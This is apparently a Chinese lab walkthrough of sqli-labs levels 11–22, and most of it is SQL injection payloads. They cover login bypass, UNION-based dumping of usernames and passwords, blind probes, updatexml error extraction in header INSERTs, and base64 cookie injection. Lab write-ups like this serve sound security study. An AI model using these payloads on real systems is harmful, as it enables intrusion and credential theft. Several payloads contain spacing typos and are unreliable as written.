比格杰森 2020-01-30
Less-11:出现登录界面
在用户名输入 ‘ 密码随便输 出来报错
SELECT username, password FROM users WHERE username=‘‘‘ and password=‘1‘ LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1‘ LIMIT 0,1‘ at line 1
可以看到查询username和password用and连接放在同一个SQL语句中
那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:
使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submituname=admin‘ or 1=1- -
&passwd=123&submit=Submit
uname=admin‘ or 1=1#
&passwd=123&submit=Submit
注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#
和- -
进行注释即可。
uname=admin‘ or 1=1
limit 0,1# &passwd=123&submit=Submit
limit
0,1
是对第一个用户和密码进行
通过修改第一个数,得到其他的登录用户名
4. uname=a’ order by 3#&passwd=a &submit=Submit或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。
5. uname =a&passwd=a’union select database0,2 # &submit=Submit
查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。
6. uname =a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #
&passwd=a&submit=Submit可以查询到当前的第一个数据库,或者uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据
7. uname=a’ union select 1,(select group_concat(table_name) from information_schema.tables wheretable_schema=’security’ #&passwd=a&submit=submit /可以得到/security数据库中的所有表信息
Less-12:使用(”a”)包裹
与第十一关一样
uname=a") union select1,group_concat(concat(0x7e,username,password)) from security.users#&passwd=a &submit=submit
Less-13: 使用(’a’)包裹 不返回结果,我们使用盲注进行破解
也可以使用burp suite进行破解
盲注的几种形式:
if(length (database())=8,1,sleep(5)); 判断数据库长度是8
uname=a‘) or length(database())=8#&passwd=a&submit=submit
uname=a‘) or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘a‘#&passwd=a&submit=submit 显示成功 (A-Z 0-9 _等)
通过修改schema_name来推测出表,列
Less-14:使用”a”进行包裹
其他的与第十三关一致
uname=a" or left((select schema_namefrom information_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit
Less-15: 使用‘admin‘包裹
其他的与第十三关一致
uname=a’ or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit
Less-16: 使用("admin")包裹
其他的与第十三关一致
uname=a” or left((select schema_name frominformation_schema.schemata limit 0,1),1)>‘u‘#&passwd=a&submit=submit
Less-17:
在第十七关index.php里面添加echo $update; echo “<br>”;
当post里写 uname=admin’#&passwd=ad&submit=submit不会有更新的那一条语句
当post里写 uname=admin&passwd=ad’#&submit=submit就有更新的那一条语句,所以在passwd里对语句进行更改
根据index.php里面的代码我们可以看到使用get_magic_quotes_gpc 对namepassword分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。
首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息
Uname=admin&passwd=ad’ andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=’security’ limit 0,1),0x7e),1)#&submit=submit
通过查询,得到secuurity库下面的其中一个表的名字
Uname=admin&passwd=ad’ andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name=’users’ limit 0,1),0x7e),1)#&submit=submit
通过查询,得到secuurity.users里的其中一个列的名字
Less-18:
添加
使用mysql命令查看users里的用户名和对应的密码
登录成功后会有一行user agent
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES(‘Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0‘,‘127.0.0.1‘, ‘admin‘)
比如这个:
两种方式:
第一种:‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1
第二种:‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#
出来库
‘ orupdatexml(1,concat(0x7e,(select schema_name from information_schema.schematalimit 0,1)),1), ‘‘,‘‘)#
表
‘orupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘security‘ limit 0,1)),1), ‘‘,‘‘)#
列
‘orupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name=‘users‘ limit 0,1)),1), ‘‘,‘‘)#
字段
‘ orupdatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1),‘‘,‘‘)#
Less-19:其他与第18关一致
通过insert语句进行分析
INSERT INTO `security`.`referers` (`referer`, `ip_address`)VALUES (‘http://localhost/sqli-labs-master/sqli-labs-master/Less-19/‘,‘127.0.0.1‘)
分析后得知,需要进行闭合操作,两种方法:
(1)‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#
Less20:
使用admin admin 登录
使用burp suite工具 刷新出来cookie ,更改cookie使uname=admin’ ,点GO出来下图(有错误说明有漏洞)
猜测列数:
查看列数:uname=‘order by 5 # 通过实验知道列数为3
看回显位置:uname=’union select 1,2,3#
库uname=‘union select1,2,group_concat(schema_name)from information_schema.schemata#
表uname=‘union select1,2,group_concat(table_name)from information_schema.tables wheretable_schema=‘security‘#
列uname=‘unionselect 1,2,group_concat(column_name)from information_schema.columns wheretable_name=‘users‘#
字段uname=‘union select1,2,group_concat(concat_ws(‘~‘,username,password))from security.users#
Less-21:
admin admin 登录了之后
使用 https://base64.us 进行解码 看到就是admin
接下来修改cookie uname 后面的已经加密了的语句就可以了
uname=‘)unionselect 1,2,database()#
编码后为:
dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
Less-22:
admin admin登录 跟第21关一样
" union select ,2,database()#
编码后为:
IiB1bmlvbiBzZWxlY3QgLDIsZGF0YWJhc2UoKSM=